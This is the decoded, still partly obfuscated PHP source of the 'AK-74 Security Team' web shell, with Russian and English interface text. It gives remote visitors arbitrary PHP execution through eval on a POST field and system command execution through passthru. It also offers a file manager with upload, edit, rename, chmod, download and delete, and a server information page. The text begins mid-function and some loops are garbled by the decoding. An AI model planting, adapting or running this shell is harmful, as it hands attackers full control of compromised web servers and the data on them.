/* Decoded by unphp.net */ AK-74 Security Team Web Shell
";return${$yeyubpcd};}function outputmenu(){$eblbmi="xshell";${"GLOBALS"}["omlmyuabmc"]="res";$jrizoflsr="xshell";${"GLOBALS"}["kzvefdrkoqf"]="res";${${"GLOBALS"}["omlmyuabmc"]}="";$txbsfjnhvi="xshell";${${"GLOBALS"}["kzvefdrkoqf"]}.="";return${${"GLOBALS"}["nwkrhqdzrcw"]};}function outputdown(){${${"GLOBALS"}["nwkrhqdzrcw"]}="";${"GLOBALS"}["srzeskty"]="res";${${"GLOBALS"}["srzeskty"]}.="
.:: :[ AK-74 Security Team Web-shell ]: ::.
General information File manager phpinfo() Run PHP Execute the command
";return${${"GLOBALS"}["nwkrhqdzrcw"]};}function outputfilemanager(){${"GLOBALS"}["udmmztjca"]="xshell";${"GLOBALS"}["ychruqucrf"]="xshell";$powlcxkoeay="files";$shvztfinhxe="dirs";$ckrwmyieozcl="res";${"GLOBALS"}["vmuyoysyoe"]="res";${"GLOBALS"}["orpfxw"]="res";${"GLOBALS"}["tuwswjh"]="res";${"GLOBALS"}["acmzbxffk"]="res";${${"GLOBALS"}["acmzbxffk"]}="";${"GLOBALS"}["vdtvfpbhyru"]="number";$uxuysqwhok="files";${${"GLOBALS"}["vdtvfpbhyru"]}=0;${"GLOBALS"}["sejtvw"]="dirs";$qflffdcxsrx="i";${${"GLOBALS"}["cvvtiemv"]}=$this->getdirs();${$powlcxkoeay}=$this->getfiles();${"GLOBALS"}["asxszifet"]="i";sort(${${"GLOBALS"}["sejtvw"]});sort(${$uxuysqwhok});${${"GLOBALS"}["nwkrhqdzrcw"]}.=" The current directory:".$_SESSION["currentdir"]."     Размер, byte   Recent change Access right       ";$kshyqqibce="i";$hjbbitpe="res";${"GLOBALS"}["wyqypgtjmi"]="i";for(${${"GLOBALS"}["asxszifet"]}=0;${$qflffdcxsrx}".(++${${"GLOBALS"}["hdyzecu"]})."".${${"GLOBALS"}["fxthzy"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]."  ";${${"GLOBALS"}["uvckfgaxtwdw"]}.="".($this->getpermission($_SESSION["currentdir"]."/".${${"GLOBALS"}["jeyjcbtlodsa"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]))."";${${"GLOBALS"}["nwkrhqdzrcw"]}.=" delete";}for(${$kshyqqibce}=0;${${"GLOBALS"}["wdyvqrczdgu"]}".(++${${"GLOBALS"}["hdyzecu"]})."";${${"GLOBALS"}["nwkrhqdzrcw"]}.="".${${"GLOBALS"}["qwtxsjlqhhf"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]["filename"]."";${$vdxzvdus}.="  ".${${"GLOBALS"}["kdhmhcnuk"]}[${${"GLOBALS"}["wdyvqrczdgu"]}]["filesize"]."";$khftnbmpvvs="xshell";${${"GLOBALS"}["tkghkgf"]}.="".${${"GLOBALS"}["kdhmhcnuk"]}[${${"GLOBALS"}["gkyyblyqymf"]}]["lastmod"]."";${${"GLOBALS"}["nwkrhqdzrcw"]}.="".($this->getpermission($_SESSION["currentdir"]."/".${$fwvwil}[${$wpdhhfskcteg}]["filename"]))."";$tomphosfc="res";${$tomphosfc}.="edit";${${"GLOBALS"}["nwkrhqdzrcw"]}.="delete";}${$ckrwmyieozcl}.="
";${${"GLOBALS"}["nwkrhqdzrcw"]}.="";$pykgqvz="res";${${"GLOBALS"}["nwkrhqdzrcw"]}.="";${${"GLOBALS"}["vmuyoysyoe"]}.="";${${"GLOBALS"}["orpfxw"]}.="";${${"GLOBALS"}["tuwswjh"]}.="
Создать директорию:
Создать файл:
Закачать файл:
и присвоить имя
";${$hjbbitpe}.="";return${$pykgqvz};}function outputinfo(){$vbgcqwfncvvz="res";$myhjur="res";${$myhjur}="";${$vbgcqwfncvvz}.="
Copyright AK-74 Security Team 2005 - ".date("Y")."
General information about the server

    1. OS - ".(php_uname())."

    2. Версия PHP - ".(phpversion())."

    3. User - ".(get_current_user())." || User ID - ".(getmyuid())." || Group ID - ".(getmygid())."

    4. Server Software - ".(getenv("SERVER_SOFTWARE"))."

    5. Request Method - ".(getenv("REQUEST_METHOD"))."

    6. Server IP - ".(getenv("SERVER_ADDR"))."

    7. Your IP - ".(getenv("REMOTE_ADDR"))."

    8. X Forwarded For IP - ".(getenv("HTTP_X_FORWARDED_FOR"))."

";return${${"GLOBALS"}["nwkrhqdzrcw"]};}function chmodform($file){$istixexbyxa="file";$nrugpeehr="res";$yvdvvaai="i";${"GLOBALS"}["nwfedck"]="perms";$fewqjextf="file";${${"GLOBALS"}["pgctubg"]}=$this->getpermissionarray(${$istixexbyxa});${"GLOBALS"}["ynokejbtuh"]="perms";${"GLOBALS"}["ngqiunigukfh"]="perms";$uizdfjdf="res";$hammouvne="i";${"GLOBALS"}["ykexebt"]="res";${"GLOBALS"}["pefltgfgwzb"]="i";${$nrugpeehr}="";${${"GLOBALS"}["nwkrhqdzrcw"]}.=""."";return${${"GLOBALS"}["nwkrhqdzrcw"]};}function editfileform($file){$rwaotihpr="fp";${"GLOBALS"}["wcqoifupsbh"]="file";$yyvjrmlhyubj="fp";${${"GLOBALS"}["shdxowcvsq"]}=fopen(${${"GLOBALS"}["vtpgxuvxbi"]},"r");if(!${${"GLOBALS"}["shdxowcvsq"]})return"Редактирование файла";${${"GLOBALS"}["nwkrhqdzrcw"]}="";$zeleyib="res";$hjrxrmu="res";${"GLOBALS"}["ryysceaq"]="res";${"GLOBALS"}["yjdeuf"]="res";${"GLOBALS"}["kwyxxau"]="file";${$hjrxrmu}.=""."";fclose(${$yyvjrmlhyubj});return${$zeleyib};}function executeform(){${"GLOBALS"}["gbbivqermof"]="xshell";${"GLOBALS"}["jcoxegkjqmx"]="res";${${"GLOBALS"}["nwkrhqdzrcw"]}="";${${"GLOBALS"}["jcoxegkjqmx"]}.="
Copyright AK-74 Security Team 2005 - ".date("Y")."
Changing access permissions
";$ftrxmefkqxh="i";${$uizdfjdf}.="";${"GLOBALS"}["yggjmwlv"]="res";${${"GLOBALS"}["nwkrhqdzrcw"]}.="";for(${$hammouvne}=1;${${"GLOBALS"}["wdyvqrczdgu"]}<=9;${${"GLOBALS"}["pefltgfgwzb"]}++)${${"GLOBALS"}["nwkrhqdzrcw"]}.="";${${"GLOBALS"}["ykexebt"]}.="";${${"GLOBALS"}["yggjmwlv"]}.="
 rwxrwxrwx
".${${"GLOBALS"}["ynokejbtuh"]}[0]."
Edit the file
";${${"GLOBALS"}["ryysceaq"]}.="";${${"GLOBALS"}["yjdeuf"]}.="";${${"GLOBALS"}["nwkrhqdzrcw"]}.="
Rename: -
Executing PHP code
Opening and closing PHP code ( <? и ?> ) no need to write!
";return${${"GLOBALS"}["nwkrhqdzrcw"]};}function execute(){echo"
";echo"
";eval(stripslashes($_POST["phpcode"]));echo"
";echo"
";}function exesysform(){$husxnjellv="res";${${"GLOBALS"}["nwkrhqdzrcw"]}="";${"GLOBALS"}["lmwlmrqw"]="res";${"GLOBALS"}["ubwopher"]="res";${${"GLOBALS"}["lmwlmrqw"]}.="
Copyright AK-74 Security Team 2005 - ".date("Y")."
Execute system commands!
";return${$husxnjellv};}function exesys(){${"GLOBALS"}["yvcpokfc"]="result";echo"
";echo"
";${${"GLOBALS"}["yvcpokfc"]}=passthru($_POST["cmmd"]);echo"
";echo"
";}function editfile($file){if(!empty($_POST["rename"])){rename($_POST["file"],$_POST["rename"]);}${${"GLOBALS"}["shdxowcvsq"]}=fopen($_POST["rename"],"w");if(!${${"GLOBALS"}["shdxowcvsq"]})return 0;fwrite(${${"GLOBALS"}["shdxowcvsq"]},stripslashes($_POST["filecontent"]));fclose(${${"GLOBALS"}["shdxowcvsq"]});return 1;}function chmodfile($file){$tpmdfbgb="res";$ipjaivcsdnlk="res";$sgwdghqlhfy="res";${"GLOBALS"}["pufgvr"]="res";$fcpofletrcs="res";${"GLOBALS"}["ikiudyniptdh"]="res";${"GLOBALS"}["lzykxw"]="res";$hlfwyxuk="res";$feixofkogs="res";$tulbauxmvcdt="res";$txyrsfflh="res";${$ipjaivcsdnlk}=0;$gorewqwudp="res";switch($_POST["perms0"]){case"s":${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0xC000;break;case"l":${${"GLOBALS"}["nwkrhqdzrcw"]}=${$gorewqwudp}|0xA000;break;case"-":${$sgwdghqlhfy}=${$hlfwyxuk}|0x8000;break;case"b":${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x6000;break;case"d":${${"GLOBALS"}["pufgvr"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x4000;break;case"c":${${"GLOBALS"}["lzykxw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x2000;break;case"p":${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x1000;break;case"u":break;}${"GLOBALS"}["xeomnnbyudw"]="res";if(isset($_POST["perms1"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x0100;if(isset($_POST["perms2"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${$tpmdfbgb}|0x0080;if(isset($_POST["perms3"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${$txyrsfflh}|0x0040;if(isset($_POST["perms4"]))${$feixofkogs}=${${"GLOBALS"}["xeomnnbyudw"]}|0x0020;if(isset($_POST["perms5"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x0010;if(isset($_POST["perms6"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${$tulbauxmvcdt}|0x0008;if(isset($_POST["perms7"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${$fcpofletrcs}|0x0004;if(isset($_POST["perms8"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x0002;if(isset($_POST["perms9"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["ikiudyniptdh"]}|0x0001;echo substr(sprintf("%o",${${"GLOBALS"}["nwkrhqdzrcw"]}),-4);return chmod(${${"GLOBALS"}["vtpgxuvxbi"]},intval(substr(sprintf("%o",${${"GLOBALS"}["nwkrhqdzrcw"]}),-4),8));}function downloadfile($file){$jehqknntr="file";header("Content-Type: application/octet-stream");header("Content-Length: ".filesize(${${"GLOBALS"}["vtpgxuvxbi"]}));header("Content-Disposition: attachment; filename=$file");readfile(${$jehqknntr});die();}function createdir(){if(!empty($_POST["dircreate"])){if(mkdir($_SESSION["currentdir"]."/".$_POST["dircreate"]))return"Directory created!";}return"Error creating directory";}function createfile(){if(!empty($_POST["filecreate"])){${"GLOBALS"}["lwhsyzdtepf"]="fp";if(file_exists($_SESSION["currentdir"]."/".$_POST["filecreate"]))return"Файл уже существует";${${"GLOBALS"}["shdxowcvsq"]}=fopen($_SESSION["currentdir"]."/".$_POST["filecreate"],"w");if(${${"GLOBALS"}["lwhsyzdtepf"]}){$nwmcqdkwk="fp";fclose(${$nwmcqdkwk});return"Файл создан!";}}return"Error creating file";}function uploadfile(){if($_FILES["filename"]["error"]!=0)return"121212";$_POST["filename2"]=trim($_POST["filename2"]);if(empty($_POST["filename2"]))$_POST["filename2"]=$_FILES["filename"]["name"];if(!copy($_FILES["filename"]["tmp_name"],$_SESSION["currentdir"]."/".$_POST["filename2"])){if(!move_uploaded_file($_FILES["filename"]["tmp_name"],$_SESSION["currentdir"]."/".$_POST["filename2"]))return"File download failed...";}return"The file was uploaded successfully!";}}${${"GLOBALS"}["fdxvupxbx"]}=new shell();${${"GLOBALS"}["olmwrdqid"]}=$shell->getmicrotime();${$nfhhbmkrpia}="";if(!isset($_SESSION["currentdir"]))$_SESSION["currentdir"]=str_replace("\","/",$_SERVER["DOCUMENT_ROOT"]);if(isset($_GET["dir"])){if(opendir(realpath($_SESSION["currentdir"]."/".$_GET["dir"])))$_SESSION["currentdir"]=realpath($_SESSION["currentdir"]."/".$_GET["dir"]);Header("Location: $xshell?act=filemanager");}$_SESSION["currentdir"]=str_replace("\","/",$_SESSION["currentdir"]);$bxmeyfko="content";if(substr($_SESSION["currentdir"],-1,1)=="/")$_SESSION["currentdir"]=substr($_SESSION["currentdir"],0,-1);${"GLOBALS"}["lvsmiwfpysj"]="content";switch($_POST["action"]){case"chmod":if($shell->chmodfile($_POST["file"]))${${"GLOBALS"}["iknpldrpigo"]}.="The change was successful";break;case"editfile":if($shell->editfile($_POST["file"]))${$wupyapffrye}.="The edit was successful";break;case"execute":$shell->execute();break;case"exesys":$shell->exesys();break;case"mkdir":${${"GLOBALS"}["iknpldrpigo"]}.=$shell->createdir();break;case"createfile":${$dbmeztzpbjd}.=$shell->createfile();break;case"uploadfile":${${"GLOBALS"}["iknpldrpigo"]}.=$shell->uploadfile();break;}${${"GLOBALS"}["iknpldrpigo"]}.=$shell->outputhead();${${"GLOBALS"}["iknpldrpigo"]}.=$shell->outputmenu();switch($_GET["act"]){case"edit":${${"GLOBALS"}["gyyylpy"]}.=$shell->editfileform($_GET["file"]);break;case"chmod":${${"GLOBALS"}["lvsmiwfpysj"]}.=$shell->chmodform($_GET["file"]);break;case"down":${${"GLOBALS"}["iknpldrpigo"]}.=$shell->downloadfile($_GET["file"]);break;case"filemanager":if($_GET["act2"]=="del")${$bxmeyfko}.=$shell->removefile();${${"GLOBALS"}["iknpldrpigo"]}.=$shell->outputfilemanager();if($_GET["act3"]=="del")${$hilzzmbb}.=$shell->removedir();break;case"phpinfo":phpinfo();die();break;case"info":${$bcaxbgujhqyk}.=$shell->outputinfo();break;case"execute":${${"GLOBALS"}["iknpldrpigo"]}.=$shell->executeform();break;case"exesys":${${"GLOBALS"}["iknpldrpigo"]}.=$shell->exesysform();break;}${${"GLOBALS"}["iknpldrpigo"]}.=$shell->outputdown();echo${$osezbewemuin};echo"
Generation time: ".($shell->getmicrotime()-${${"GLOBALS"}["olmwrdqid"]})."
";echo " " ?>
Copyright r57.gen.tr - AK-74 Security Team 2005 - ".date("Y")."